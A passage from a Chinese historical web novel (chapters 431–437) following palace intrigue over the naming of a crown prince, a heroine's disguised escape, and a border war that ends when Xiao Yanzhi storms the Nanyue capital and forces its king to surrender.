这件事定是宁王的手笔,他想趁势把那些账册搜出来,那他的如意算盘就打错了。 所有的罪证,他已经提前安排人送走,送到了一个绝对安全的人手里。 这宅子本就是德丰帝赏赐,谷栖山住的时日不算长,他平日里也过得简单,一应陈设少之又少,搜查的禁军很快将整个宅子翻了一遍,却一无所获。 谷栖山被押到刑部关押。 萧晏临得知没有找到证据,面色笼上一片阴沉。 “连个东西都找不到,当真废物!” 手下不敢回嘴,只能低头挨骂。 萧晏临知道,定是谷栖山提前把东西藏起来了,那老东西,当真狡猾。 虽然父皇已经中了牵丝蛊,但这证据没有销毁,他心中总是不安。 难道在瑾王府?虽有怀疑,但他也不能光明正大地去瑾王府搜查,只能继续暗中调查。 翌日,谷栖山被抓之事在朝廷引起了轩然大波。 不少朝臣在朝堂上提起此事,德丰帝的态度冷淡,“谷栖山与滇南探子有勾结往来,朕已经抓到了人证,证据确凿,无可置疑!” 有人站出来替谷栖山说话,都被德丰帝驳回了,还有人固执己见,德丰帝勃然大怒,拂袖而去。 大家暗暗揣摩着帝王的心思,没人再为谷栖山求情。 之后,大家便发现,德丰帝的身体越来越差,时不时便罢朝,太医院的太医轮番调养,都不见成效。 病中的德丰帝反应变得迟钝了许多,朝臣们在堂下上折请示,德丰帝在龙椅上神情木讷,反应迟钝,有时候连续问好几遍,他才有反应。 眼见德丰帝状态如此,朝臣们暗自心惊。 这个时候,大家再次提起立储之事。 这一次,大家都纷纷请立宁王为太子。 也有朝臣提议,传召各个王爷归京,共商立储之事。 两派人在朝堂上争吵不休。 这番争吵,以德丰帝颁布立储圣旨为终点。 “朕第八子,宁王萧晏临,天资英睿,孝友温恭,德懋才优,克勤克慎。敬天法祖,仁厚存心;文武兼资,朝野共誉。兹允廷臣之请,顺天意而循祖制,授以册宝,立为皇太子,正位东宫,以固国本。” 第432章 不能坐以待毙 立储圣旨由冯有才当朝宣读。 一切终于尘埃落定。 萧晏临跪地接旨,那张依旧稚嫩的脸上满是得偿所愿的意气风发。 “儿臣叩谢父皇隆恩!今日受册,欣喜之余,更觉如履薄冰。惟念圣躬辛劳,儿臣愿分忧效命,倘有未逮处,求父皇训示。” 众朝臣亦纷纷跪下,恭贺太子。 回到王府,王妃和侧妃纷纷上前恭贺,萧晏临心情大好,下令全府上下皆得封赏。 宁王得封太子,礼部立马开始筹办册封仪式。 另外,他也不能住在宁王府,要搬往东宫。 这些事情繁琐复杂,但每一个环节都必不可少。 尤其是册封大典,礼部上下十分上心,万不敢有半分差池。 这个消息很快传遍了街头巷尾,也传进了瑾王府。 整个王府上下都笼着一层低压。 陆知苒的心头亦沉甸甸的。 原本以为,掌握了赵家的罪证,他们就能趁机翻盘。 但没想到,萧晏临直接釜底抽薪,对谷栖山下手。 陆知苒想打听谷栖山的情况,却有心无力。 德丰帝身体的衰败,以及这道立储圣旨的颁布,更让事情雪上加霜。 她不能继续坐以待毙。 她得想办法离开这里。 原本,德丰帝身体健朗,她留在瑾王府才是最明智的。 而今,萧晏临成了太子,德丰帝随时可能倒下,她再继续留在王府,就非常危险。 不仅自己可能会丢了性命,还可能成为钳制萧晏辞的人质。 只是,她要躲在哪里才最安全? 她尚未想好,就有下人来通传,萧宝珠来了。 陆知苒眸光微微一亮,立马迎了出去。 原本瑾王府是不允许访客登门,但萧宝珠态度强硬,守门的御林军也不敢阻拦。 这段时日,她成了瑾王府的常客。 萧宝珠的面色明显憔悴了许多。 一见到陆知苒,她直接关上了房门,来不及叙旧便直入主题。 “苒姐姐,你快换上丫鬟的衣裳,待会儿你跟我一道走。外面的天要变了,你不能继续待在王府里。” 陆知苒原本也想请萧宝珠帮忙,掩护她离开,暂时收留她。 但此事到底要让萧宝珠承担风险,她还在斟酌该如何开口。 没想到,萧宝珠自己就主动提了此事。 她眼里的紧张与担忧真真切切,半点都不作假,陆知苒的心头不禁涌起一股深深的感动。 陆知苒用力握着她的手。 “宝珠,谢谢你,我的确需要你的帮助,我会尽量不牵连到你……” 萧宝珠嗔了她一眼,“你说的什么话?我若怕被你牵连,就不会来这一趟。” 陆知苒便不再客套,所有的感激都藏在心底。 萧宝珠催促她赶紧换衣裳,陆知苒却道:“不急,以往你每次来看我都会待上大半日,今日若太过匆忙,反倒惹人怀疑。” 萧宝珠听了这话,这才停下了要直接上手扒衣服的动作。 “我就是心里发慌,只想赶紧带你离开这里,不然,万一八皇兄想起你来了,派人把你也抓进牢里,我就真的回天无力了。” 她就算是公主,也没法子在牢里捞人。 陆知苒这时反倒冷静下来了,“不会,宁王……太子现在顾不上我,至少也要在册封仪式完成之后,他才会腾出手来料理我。” 萧晏临处心积虑地筹谋那么久,为的就是让自己的皇位名正言顺。 眼下,没有任何事情比册封仪式重要。 萧宝珠闻言,紧绷的情绪稍稍放松了几分。 陆知苒压低了声音,问起了谷栖山的情况。 萧宝珠有些低落,“谷将军在狱中,情况如何我不知道,我本想去看看她,但忍住了。这件事,我帮不上什么忙,贸然掺和并没有好处。” 陆知苒拍了拍她的手,“是我不该问这个问题。” 这件事,萧宝珠的确无能为力,哪怕她贵为公主。 萧宝珠凑近了几分,用只有两个人能听到的声音开口。 “我手里有一样东西,是谷将军派人送到我手里的。” 陆知苒心念一动,立马猜到了那是什么。 果然,就听萧宝珠继续道:“那是账册,是赵家这些年在闽南敛财的罪证!八皇兄怂恿父皇下旨抄了将军府,还把谷将军下狱,定是为了找这些东西。我没想到,赵家竟然这般不是东西!” 说到最后,萧宝珠的语气十分咬牙切齿。 八皇子便是想争权夺位,大可以光明正大,堂堂正正地争,而不应该用这些龌龊的手段。 一个人有野心不丢人,但为了自己的野心全然不择手段,简直令人不齿。 陆知苒也一直在担心那些证据的去处,若是被萧晏临抢走了,那他们先前的努力就都白费了。 而今,她总算可以放下心来。 萧宝珠又道:“原本,我打算找机会把那些东西送到父皇的跟前,但那些天,我每次入宫八皇兄都在父皇跟前侍疾。我怕他看出端倪,也不敢表现太过。” “我本想等父皇身体好些之后再把东西交给父皇,但没想到……父皇的身体一日日变差,有时候我去看他,他也混混沌沌,好似不认识我了一般。” “定是八皇兄对父皇做了些什么,父皇的身体才会垮得这般快,父皇身边,说不定就安插着他的耳目,我越发不敢把东西拿出来,唯恐暴露了,让他趁机把证据抢了去。” “现在父皇的身子依旧不见好,反而还下旨立了八皇子为太子,我是不是做错了?” 陆知苒宽慰她,“你没有做错,宝珠,你做得很好。眼下这种关头,唯有自保才是最重要的。你只有先保护好自己,才能谋划反击。” 萧宝珠得了鼓励,立马重新打起了精神。 “那苒姐姐,我接下来该怎么做?那些证据我该何时拿出来?” 陆知苒沉吟,“眼下时机未到,你便将东西收好,记住,除了最信任的心腹之人,不能让任何人知晓。若不然,太子只怕会对你不利。” 萧宝珠后背渗出冷汗,她用力点头。 陆知苒又道:“另外,要保护好皇上的安危,八皇子得封太子,继位也是顺理成章之事,我怕他会对皇上不利。” 第433章 南越国,不除不快 萧宝珠的脸色更加惨白几分。 “那是他的父皇!” 陆知苒反眼底露出嘲讽,“他能昧着良心赚那些黑心银子,又岂会在乎父子之情?” 他为了那个位置,能做出那么多丧尽天良之事,也不差这一桩。 若德丰帝没了利用价值,甚至可能会成为他登基的隐患,他的确做得出弑君之举。 萧宝珠气得发抖。 “我定要想法子把父皇治好,父皇好起来了,我倒要看看他还怎么蹦跶起来!” 这话说得简单,但做起来却是不易。 太医院不知多少太医都被萧晏临收买,就算没有被收买,他们也未必有能力治好父皇的病。 萧宝珠不由泄气,若是南笙在就好了。 陆知苒也明白其中的艰难,但此时的她也无能为力。 她想到了另一人,“先前太子举荐了一位女医,那人治好了朝中不少官员的中蛊之症。宝珠,你可见过那人?对方是何来路?” 萧宝珠摇头,“我没见过她,只是听说是个孤女,容貌尽毁。苒姐姐,你莫不是要让我请她给父皇诊治?” 陆知苒立马摇头,“当然不是。她是太子举荐之人,她的身份存疑,不能用。” 她先前派人查过此人,最后没有查出什么疑点来,其身份来历都一切正常。 但越是如此,陆知苒反而越是心生怀疑。 总觉得这个人有些不简单,但偏偏寻不到症结所在。 “我提起此人,是想让你多提防她。若太子以皇上病重为由,再让她入宫替皇上诊治,你需得从旁盯着,以免她对皇上下手。” 她的猜测或许是小人之心,但眼下关头,容不得她不多心。 萧宝珠心头一凛,立马警惕起来。 “苒姐姐提醒得是,我记下了。” 二人又密谋了一番,很快到了饭点,两人吃了一顿有些食不知味的饭菜。 饭毕,陆知苒这才开始改换行头,一番易容装扮,她俨然彻底换了一副模样。 眼下天色渐晚,她低眉顺眼地跟在萧宝珠的身后,也丝毫不起眼。 而守门的禁卫军也完全没注意,萧宝珠身后的丫鬟比来时多了一个。 离开瑾王府,坐上了自家马车,萧宝珠轻轻舒了口气。 但她依旧不敢放松,直到回了公主府,进了自己的地盘,她绷紧的背脊才瞬间放松下去。 瑾王府那边,正院的一切都照旧。 翠芙和丹烟两个一等丫鬟时常在府中各处走动,翠芙敲打那些心思浮动的丫鬟,行事愈发泼辣,丹烟则日日向采买点菜,声称是自家王妃要吃的。 正院中偶尔有哀怨的琴音流出,众人只当瑾王妃是为自己的境遇哀伤,没人知道,瑾王妃早就离开了。 陆知苒被安置在萧宝珠的院子里,与她同住。 她素日里并不出门,除了萧宝珠身边最亲近的心腹,便是甄氏也不知道她藏了个人。 这一日,陆知苒在自己的院中,听到了宫中传来的钟声。 那是太子登基的钟声。 今日是太子的登基仪式。 陆知苒面色幽沉了几分。 她不可避免地想到了萧晏辞,此时,他在做什么?是否安好? 殿下,你答应过我会全须全尾地回来,千万不要食言。 …… 此时的滇南并不太平。 滇南府众将士们正在战场上挥刀杀敌,叶衔峰亲自率兵,突袭南越国。 这是他们向南越国发起的第三次袭击。 前头两次,南越国严阵以待,但滇南府却是虚晃一枪,没有真的发起进攻。 下次,同样的招式又来了一遍。 虚虚实实,把南越国遛得没了脾气。 这般打法,俨然跟当初南越国对付他们的时候一般无二。 当初滇南府遭遇洪涝,自顾不暇,南越国趁人之危,主动进犯,接连骚扰。 而今,南越国的粮草被烧,又没有奸细再给他们传递情报,他们再没了先前的嚣张。 反倒是滇南府,现在已经慢慢缓了过来,士气大振,大家心里都憋着一口气,只想狠狠地报仇。 这次,南越国以为滇南府又是在溜着他们玩儿,都有些懈怠,没有放在心上,但没想到滇南府却来真的,打得他们一个措手不及。 一个个人头被叶衔峰砍下,咕噜噜地滚落地上,鲜红的血喷溅在他的脸上,也染红了他身前的铠甲。 在战场上狠狠杀了一通,他只觉得痛快至极。 一众士兵们也杀了个痛快,大家提刀就要继续追击,但撤兵的号角吹响,他们不得不撤离。 南越国正松口气,没曾想,西侧又遇敌袭,南越国的将士连口气都没来得及喘,就再次赶往西侧支援。 如此一番左右夹击,南越国的士气大挫,损伤惨重。 突袭西侧的是叶衔峰之子叶淮序,父子二人先后率军归来,打了胜仗,众将士们脸上都是畅快的笑。 “狗娘养的,今日可算是狠狠出了口气。” “只可惜,咱们没有乘胜追击,若不然,今日咱们还能再多杀几个南越人。” 士兵们精神亢奋,都在议论此次大胜。 叶衔峰和叶淮序向滇南王汇报战况,二人脸上也都带着欣喜。 滇南王先是勉励了一番,同时不忘敲打。 “今日的获胜只是小胜,真正的硬仗还在后头,你们不可得意忘形。” 二人齐齐应是。 今日他们虽然胜了,但其实占的不过是先发制人的优势,他们真正的兵力也并不充沛。 之所以打了就跑,没有乘胜追击,便是因为兵力不足。 而这一点,他们不能让南越国知晓。 今日这场小打小闹的胜利只是餐前小菜,他们的野心远不止于此。 南越国与滇南府相邻,平日里相安无事,但时不时总要跳出来寻找存在感,实在惹人厌烦。 而这一次两国交战,也彻底惹恼了滇南府。 南越国,不除不快! 朝廷怀疑滇南府与南越国勾结,怀疑滇南府有谋逆之心,他们任何表忠与辩解,都不如直接把南越国灭了,纳入大齐朝的疆土来得直接干脆! 把南越国灭了,大齐的疆土得以拓展,滇南府的战绩无可磨灭,谁还敢说滇南府有不臣之心? 这就是当初萧晏辞提出的主意。 他说要干一票大的,大家听罢之后,也都震惊于他的大胆。 诚然,这很难。 凭滇南府现在的兵力,要攻下南越国,几乎不可能。 但滇南府也已经没有退路了。 第434章 萧晏辞的计划 周卫海率领的朝廷“援军”就在澜沧江对岸,而今洪水渐退,哪怕他们一再想法子拖延,但桥梁还是会有搭建好的一日。 他们必须要在与朝廷兵戎相见之前,证明自己的清白无辜。 滇南府的百姓已经遭遇了惨烈的洪涝灾害,不能再让他们遭遇朝廷的屠戮。 所以,哪怕攻下南越国很难,他们也必须全力以赴。 萧晏辞没有参与今日的这场战事,因为,他有更要紧的事要做。 他是计划中最重要的一环。 他的进展是否顺利,关乎着他们的计划的成败。 这个计划十分机密,除了最信任的心腹,旁人一概不知。 外头的士兵们更是不知内情,所以他们都在为方才没有乘胜追击而感到遗憾。 叶衔峰和叶淮序收起杂念,很快重新开始练兵,为了接下来的硬仗做准备。 休整了七日,滇南府再次集结军队,对南越国叫阵。 这一次,南越国实在摸不准滇南府的叫阵究竟是真是假,但想到先前疏忽大意的惨痛教训,他们便不敢放松大意。 最后,滇南府却只是虚晃一枪,他们便放松了警惕。 但没想到,当晚,滇南府突然夜袭,让刚刚放松心弦准备歇口气的南越国士兵一个激灵清醒了。 他们赶忙穿上铠甲,提起大刀准备迎战,但滇南军打了一阵就跑了,半点不恋战。 南越军大怒,当即下令追击,这一追,就刚好落入了滇南军的陷阱,他们被扎成了刺猬。 南越军再次受挫,败退收兵。 之后,滇南军便隔三差五来这么一出,虚虚实实,真真假假,不到最后一刻,便是滇南军的士兵们也都不知道究竟要不要真的攻打。 这样的打法很流氓,也能一点点消磨对方的耐性。 他们不可能一直这么被动挨打,当他们的耐性到了极限,定然会筹谋反击。 且这场反击,会倾尽全力,因为他们想一雪前耻。 滇南府上下气氛都很松弛,他们既不知朝中的局势,也不知南越国即将的反击,他们只知道,灾后重建事宜有条不紊地进行着,南越国更是被他们打得哭爹喊娘,先前的那口气总算是狠狠发泄了出去。 但滇南王和叶衔峰等人,心弦却是越绷越紧。 他们知道,真正决战的时候,很快就会到来了。 是死,是活,滇南府上下这么多百姓的命运会如何,很快就会有个结果和交代。 滇南王站在高高的城门上,看着原本积了厚厚淤泥的街道被清理干净,原本死气沉沉的百姓们终于燃起了希望,他苍老浑浊的双眸中,也染上了一抹决绝与坚毅。 他是滇南王,百姓们敬重他,信赖他,他也定要守护好这些子民,绝不辜负他们的信任! 滇南王下了城门,回到王府,招来一众心腹,开始为接下来的大战部署。 他问,“阿辞可有消息传回来了?” 叶衔峰眉头紧蹙地摇头,“还没有。” 大家的心头都笼上了一抹阴霾,滇南王眉头也蹙得紧紧的,心中满是担忧。 他沉声开口,“我们要做好最坏的打算。” 萧晏辞出事,没能如约执行他们的计划,而南越国却要对滇南府发起奋力一击,周卫海也同时对滇南府发难。 这是最糟糕的情况。 但事已至此,他们没有退路,只能迎头而上。 大家心头都笼着一层阴霾,但没人说丧气话,也没人浪费时间,大家开始制定作战计划。 三日后,探子前来报信,南越国正在集结士兵,只怕不日便要发兵反攻。 这个消息在滇南王的预料之中,他当即吩咐,“众将士都做好了迎敌的准备,任何人都不可掉以轻心!” 众人散去,只叶衔峰留了下来。 他再次问,“阿辞有消息了吗?” 叶衔峰缓缓摇头,“没有。当初我便不同意他去冒险,那白虎岭怪石嶙峋,又有不知多少毒蛇虫蚁,危险重重,岂是随随便便可以翻越的?” 萧晏辞带了数千精锐上了白虎岭,想从白虎岭绕行至南越国后方,滇南军从正面攻击,他从后方突袭,前后夹击。 他刚提出此计时,遭到了大家的全力反对。 他们都清楚白虎岭的危险,稍有不慎,就会丧命于此。 但萧晏辞十分坚持,他说:“若不奇袭,凭我们的兵力想灭了南越国,根本不可能。到时候,滇南府同样是砧板上的鱼肉。哪怕有万分之一的可能,我也想去试一试。” 他最后摆出了瑾王的身份,强势地决定了此事。 蒋南笙为他画下了南越城中的地图,又提供了很多关键的线索,滇南王则是为他安排了经验老道的领路人,以及种类全面的各种药。 他们做好了万全的准备,但结果如何,谁都无法预判。 若他成功抵达南越国,会第一时间给他们传信鸽报信,他们也能里应外合,实施计划。 但直至今日,萧晏辞依旧没有半点消息传来。 滇南王的眉头深皱,此时的他也生出了后悔。 当初,他就不该让步,同意此事。 “爹,祖父,我相信表兄一定没事的!” 叶寒衣的声音从外面传来。 此时的她也穿着一身戎装,浑身上下十分干净利落。 眼下全民皆兵,她有一身的好功夫,自然要上阵杀敌。 滇南王和叶衔峰对她的这番打扮并不意外。 叶寒衣大步流星地走了进来,脸上满是坚定之色。 “表兄并非常人,他是有真龙护体的,任何妖鬼邪祟遇了他都要绕道,他定不会出事。” 换作以往,真龙护体这样的话定要招来滇南王和叶衔峰的训斥。 但如今,他们也不再避讳这一点,他们无条件地拥护萧晏辞去争那个位置,只有让他坐上那个位置,滇南府才能真正安枕无忧。 叶寒衣的眸中满是坚信不疑,这让原本胡思乱想的两人心神也定了下来。 翌日,南越国果然对滇南府发起攻势,南越国的铁蹄踏破边境,朝他们拼杀而来。 战鼓如雷,箭矢如蝗,南越国更是出动了战象! 体型庞大的战象披甲冲锋,沉重的脚步震得大地颤抖。 城头之上,滇南王身穿甲胄,长刀拄地,嘶声吼道:“身后即是家园,退无可退!今日唯有死战!” 第435章 定要将南越国踏平 大象怕火,滇南王下令放火箭。 然而,似乎连老天爷都不站在他们这边,原本放晴了的天空再次下起了瓢泼大雨,火箭被大雨浇灭,也阻碍了箭羽的力道。 一波箭射出去,战象完好无损,直奔城门而来。 决不能让战象把城门撞破。 战象到了射程内,滇南王下令,发射火炮! 接连几发子弹发射出去,一匹战象被击中,倒地嘶鸣。 其他战象受了惊吓,顿时发生四下奔逃,训象人急忙发出指令,想要把战象控制住,但城楼上的火炮接连而来,巨大的动静让战象彻底失控,南越士兵被踩踏,发出一阵哀嚎惨叫。 本是决胜的利器,现在却反而成了他们的送命符。 趁着敌军大乱,滇南王立马下令,“开城门!给我杀!” 滇南将士士气大振,城门一开,他们便冲了出去。 暴雨倾盆,雷光劈裂苍穹。 将士们握着长枪,迎着箭雨冲锋。 血与水中,无人后退一步,因为他们知道——身后,是家。 南越军被滇南军逼得节节败退,不得不紧急回城。 南越守将段兴华一边开城门,一边在城墙上搭起弓箭,朝滇南军射去,掩护己方士兵入城。 一波波箭羽朝滇南军射来,士兵们一个个倒下,但他们半点没有后退。 南越国的城门就在眼前,若错过了这次攻入城门的机会,下次再要找机会,难如登天。 叶衔峰带头冲锋,“众将士,冲!今日,我等势要荡平南越国土!” 眼见滇南军一步步逼近城门,段兴华急了,调来了更多弓箭手,朝城门下放箭。 同时,他拉弓,一支利箭对准了叶衔峰。 正所谓擒贼先擒王,叶衔峰是滇南军的主心骨,若将他射杀,滇南军的士气必然折损。 一道凌冽的杀气朝叶衔峰袭来,他察觉到,急忙挥刀阻挡,但城墙上的密箭同时袭来,叶衔峰首尾难顾,虽避开了要害,但肩头还是中了一箭。 这时,城墙上传来一道高声大喊,“叶衔峰中了本将的毒箭,马上就要毒发身亡,尔等乌合之众,还不速速退去,不然本将定要叫你们有去无回!” 听到这声高喊,滇南军的士气果然受了影响。 叶衔峰一把将自己肩头的箭拔出,以更加洪亮的声音高呼。 “本将无事,大家不要被敌方的妖言蛊惑,乱了军心。大家跟着本将,冲!” 高呼毕,叶衔峰直接将那断箭朝城墙方向狠狠一掷,段兴华下意识朝后闪避。 那箭未到城墙上,只深深地插入城墙中部。 此番震慑,顿时让滇南军险些涣散的士气重新聚拢,甚至,较之方才,士气更加高涨。 段兴华脸色难看。 方才他不该朝后闪避。 那一避,不仅让他颜面扫地,也让己方士气受了影响。 段兴华再次指挥士兵放箭,但城下的滇南军势如破竹,他们的箭如雨一般落下,却根本无法阻挡对方逼近。 段兴华面色大变,他当即高声下令,“关城门,快关城门!” 有士兵大喊,“可是我们的人还没有完全回城。” 还有一小半的人尚在城外。 段兴华毫不犹豫,“本将下令,关!别废话!” 若是不舍弃那小半的人手,滇南军就要攻入城中,到时候,情况将不可挽回。 南越士兵不敢再迟疑,开始推动那沉重的城门。 南越军后方的士兵们见此,知道自己被舍弃了,顿时目眦欲裂,众人的愤怒情绪被点燃。 他们奋勇拼杀,最后却似蝼蚁一般,被无情抛弃。 他们的命,难道就不是命吗? 他们主动向关城门的士兵发起攻击,原本那城门就十分沉重,需要数人合力才能关上。 如此一遭到阻拦,城门立时就关不上了。 段兴华气得想破口大骂。 叶衔峰抓住这个机会,率着众将,直捣城门。 这场大战,代价是惨烈的,双方都损失惨重。 唯一不同的是,南越军的士气已经涣散,而滇南军则似打了鸡血似的,勇猛无双。 终于攻入了城门,滇南军哪怕已经累得抬不起手来,精神却是无比亢奋。 “将士们,冲啊!定要将南越国踏平!” 叶衔峰和叶淮序、叶寒衣三人一齐上阵。 叶衔峰在前面冲锋,叶淮序和叶寒衣在东、西翼,紧随其后。 叶寒衣虽是女子,但她手中的剑快如闪电,一路拼杀,不知道砍下了多少敌人的脑袋,她的手臂变得酸软,速度和力量都变得缓慢。 她身上也受了伤,但却没有停下来。 她变成了麻木的杀人机器。 她心中只有一个念头,把南越国攻下! 她给了别人活路,就是绝了他们自己的活路! 不知多少人倒下了。 大家的眼睛被雨水和血水糊住,已经有些看不清眼前的人是敌是友,只余下了本能地挥刀的动作。 叶寒衣觉得好累,累得几乎虚脱。 明明已经杀了这么多人,为何敌军还是像蚂蚁一般,杀都杀不完? 她的眼前已经出现了幻影。 她看到,父亲被人一刀劈中,从马上跌落下来。 叶寒衣瞬间瞪大了双眼,浑身也似被重新注入力气,不管不顾地冲了过去,将即将落下的下一刀挡开,反手将对方的头颅砍下。 叶寒衣扶起叶衔峰,眼底强忍着泪,“爹!” 叶衔峰浑身是血,身上不知有多少伤,其中最重的,便是方才腰腹上被砍的一刀。 他的肩头中的那一箭,是真的有毒,他只来得及服下解毒丹,其余根本没有做任何处理。 方才一番拼杀,手臂已经麻木得没了力气,才会被一个小兵偷袭成功。 叶寒衣强忍眼泪,飞快给他包扎腰腹的伤口。 “爹,没事的,我们很快就能获胜了!您再坚持坚持。” 叶衔峰急促喘息,强挤出一抹笑。 “爹没事,方才只是一时分神了。那些小兵,来一个老子杀一个,来两个,老子杀一双!” 刚说完话,叶衔峰就呛咳出声,牵扯到伤处,疼得龇牙咧嘴。 叶寒衣心疼极了。 但眼下却不是闲话的时候。 双方战火胶着,他们哪怕还只剩一口气,也要举起刀,继续拼杀。 第436章 皇城着火 叶衔峰站了起来,父女二人互相交托后背,重新开始拼杀。 叶寒衣身上被划了一道又一道的伤口,疼得一阵麻木。 忽而,一道高亢的战号声传来。 是南越国的战号声。 南越国的援兵来了! 他们重新集结了战象,朝滇南军而来。 原本滇南军上下都有一股信念支撑着,定要拼尽全力,把南越国灭了。 但对方援军的到来,如同一盆冷水,瞬间将他们本就摇摇欲坠的信念浇灭。 原本便只是在强撑,此时浑身的力道都泄了。 凭他们现在的兵力,根本赢不了! 与其继续做无用的反抗,不如直接躺平,死得干脆些。 叶衔峰的眼底也涌起一股绝望。 奇迹并没有发生。 滇南府这一次,真的在劫难逃了。 叶衔峰将叶寒衣往后退,“寒衣,你快走,为父掩护你出城!” 叶寒衣不走。 “我不走,我不做逃兵!祖父和爹爹一直告诉我,不能做逃兵,我不能违背你们的教导!” 叶衔峰胸口一阵剧烈起伏,眼眶充血,“此一时彼一时,没有什么比活命重要!听我的话,快走!我们不能让你母亲空等一场……” 最后这话,将叶寒衣的心口狠狠击中。 他们三人都上了战场,母亲一人在家中等着他们。 若最后一个都等不到,这是何其残忍? “爹……” “快走!” 叶寒衣眼前被泪水模糊。 她心口撕裂得生疼。 敌军的援军越来越近,叶寒衣不得不狠心,咬牙,转头离开。 她必须要活着,只有活着,才能有机会报仇雪恨! 就在叶寒衣一路拼杀,往城外狂奔时,城中忽而传来了一声声急促的战号声。 那是紧急求援的信号! “着火了,皇城着火了!” “皇城遭遇敌袭,王上危矣,众将速去支援!” 段兴华原本因援军的到来正高兴,没想到转头间,自己大后方就出了乱子,原本的援军迅速撤离,前往皇城支援去了。 段兴华大怒。 滇南军果然狡诈!一边在此吸引火力,另一边,竟然派兵突袭皇城。 可是,他们怎么做到的? 叶寒衣的脚步顿住,她眼底重新迸射出欣喜。 是表兄! 定是他带兵突袭了皇城! 太好了! 她立马调转方向,加入战局。 此时的她,似注满了力量。 一边挥刀砍杀,一边高声大喊,“瑾王殿下带兵突袭了南越皇城,胜利就在眼前,咱们继续冲!” 叶衔峰也精神一振,方才那股生离死别的悲怆一扫而空,身上的疼痛似也瞬间消弭无形。 他也高声大喊着鼓舞士气,瞬间,滇南军上下立时满血复活,大喊着挥刀砍杀,其勇猛之态,如过无人之境。 段兴华见此情形,心中陡然升起一股拔凉拔凉的感觉。 南越国,只怕寿数要尽了! 南越国后方的突袭,让这场原本败局已定的战事出现了扭转。 人一旦有了信念,就会爆发出无穷的力量。 滇南军便是如此。 大多数人都不知道萧晏辞究竟是如何从天而降,突袭南越国皇城的,也不知道他究竟带了多少人马。 大家只知道,前方有自己人!南越国有援军,他们有奇兵,他们定然不会输! 这个信念支撑着大多数人,让大家都爆发出了巨大的战斗力。 而此时的南越国皇城,已然陷入了一片火海。 这一切的罪魁祸首,便是萧晏辞无疑。 没人知道,他和他手下的三千人,是怎样千辛万苦地翻过白虎岭的。 还没下山,就已经折损了几十名弟兄。 便是他们余下的人,也是九死一生。 他们在山上耽搁的时间太长,萧晏辞心中十分焦灼,唯恐错过了时机,酿成了无法挽回的后果。 好在,他们下山的时机虽然有些迟,但不算太晚,一切还来得及。 此时两国交战,城中一片混乱,也方便了萧晏辞一行。 加上有蒋南笙所赠的地形图,他们进展十分顺利。 正所谓擒贼先擒王,萧晏辞的目的十分明确,直奔皇城。 一边派人给皇城放了几把火,一边潜入宫廷之中,将南越国的王上擒住了。 若是以往,他们自然没那么轻易得手,这一次,也是天时地利人和。 前方两军交战,战况不乐观,南越王便下令调派了全部兵力前去支援,皇城中留下的守卫少之又少,萧晏辞一行人不费吹灰之力就得手了。 南越王今年五十岁,因为常年养尊处优,养出了一身的肥肉。 此时被萧晏辞把刀架在脖子上,吓得面色都变了。 “你,你是谁?怎,怎么能潜入皇城来?” 萧晏辞没有跟他废话,直接将他拎上马,带到了阵前。 南越军见到自家王上被挟持,都不敢妄动。 萧晏辞高声道:“南越将士听着!孤乃大齐瑾王萧晏辞,今尔国主已缚于本王剑下。尔等若现在放下武器归降,本王可开恩,免你们死罪!” 南越众军顿时哗然。 要投降? 他话说得好听,真正归降之后,他们岂还有命在? 南越王也梗着脖子大喊,“我南越子民,宁死不降!” 南越众军闻言,立马似有了主心骨,纷纷高喊“宁死不降!” 萧晏辞冷声,“尔等王城已破,滇南军自南而入,尔等困兽之斗,还能撑几时?负隅顽抗者,不过徒增尸骨,使父母失子、妻儿无依!” 这话再次让南越士兵乱了方寸,不少人出现惧怕与松动之态。 这时,段兴华从城门处疾驰而来,他听了萧晏辞的话,高声大喊,“大家不要听信他的话!滇南军的兵力不足,已是强弩之末,我们若是投降,才是真正中了他们的奸计!” 段兴华的话再次让局面扭转。 萧晏辞的眸色骤然一深。 他将刀抵在南越王的脖子上,“南越社稷系于孤掌之中,诸君若念旧主,当解甲请降。否则……太庙香火,今日当绝!” 南越王胖胖的身子狠狠瑟缩。 他抬起头,求助地看向段兴华。 “段爱卿,救朕!快救朕!朕不想死啊!” 段兴华面露悲痛,“王上,臣等定竭尽全力,营救王上!众将士,冲啊,敢犯我国土者,死!” 第437章 南越国降了 他手下的兵士得了指令,当即不管不顾地朝前冲,其余兵士见此,也不得不拔刀冲杀。 萧晏辞眸底冷光迸射,他将南越王往旁边一扔,交给护卫。 “看好他!” 他们的兵力不足,南越王是一个很好的人质,还杀不得。 段兴华是南越国的老将,他骑在马上,手持长刀,直逼萧晏辞而来。 他挥刀而来,长刀劈空,势若山崩。 萧晏辞横剑格挡,金铁交鸣震彻四野,火星迸溅。 段兴华刀势狂猛,连斩三记,萧晏辞虎口崩裂,鲜血顺剑刃蜿蜒而下,却仍不退半步。 萧晏辞冷喝,“困兽之斗,徒劳!” 他骤然侧身,刀锋擦着肩甲划过,带起一串血珠。 紧接着反手一剑,直刺咽喉! 段兴华急仰身避过,刀锋回转,横扫萧晏辞腰腹。 萧晏辞纵马一跃,战马前蹄高扬,险险避过这记杀招。 “死——”段兴华狂吼,刀势再变,如雷霆劈落,刺向萧晏辞的心口—— 萧晏辞眸中寒光一闪,竟不闪不避,长剑斜挑,以命搏命! “噗嗤——” 段兴华看着刺入自己胸前的长剑,再看看对面的萧晏辞——自己的长刀,竟未伤及对方分毫! “你……” 萧晏辞冷冷一笑,“本王穿了软盔甲。” 这身软盔甲,是陆知苒为他量身定制的。 他来到滇南府,就一直穿在身上。 它让萧晏辞躲过了几次惊险的突袭,这一次,它又救了自己一命。 “唰——” 萧晏辞将长剑拔出,段兴华喷出一口浓血。 在他要栽下马的瞬间,萧晏辞挥剑一劈,一个圆滚滚的脑袋滚落地上。 段兴华的身躯仍保持着挥刀的姿势,脖颈断口处血如泉涌,轰然坠马! 萧晏辞冷眼看着滚落尘埃的头颅,剑尖挑起,高举于万军之前! “南越将士!尔等主帅已死,你们还要负隅顽抗到何时?” 残存的南越兵卒面如死灰,南越王更是抖若筛糠,瞬间涕泗横流。 几乎同时,城外传来了一阵轰隆隆的马蹄声,似有千军万马齐奔而来。 南越军狼狈地奔逃,一边逃,一边大喊,“大齐援兵来了,快逃,大家快逃!” 这番话似压倒骆驼的最后一根稻草,南越军的心理防线彻底崩塌。 萧晏辞声震四野,“降者,可活!归顺者,可耕!愿从军者,可建功!但若执迷不悟……杀!无!赦!” 南越王颤巍巍地开口,“本王,愿,愿降!” 南越军的兵刃也纷纷坠地,举起手来。 后方的厮杀还在继续。 叶衔峰拼着伤体,率领众将朝前冲。 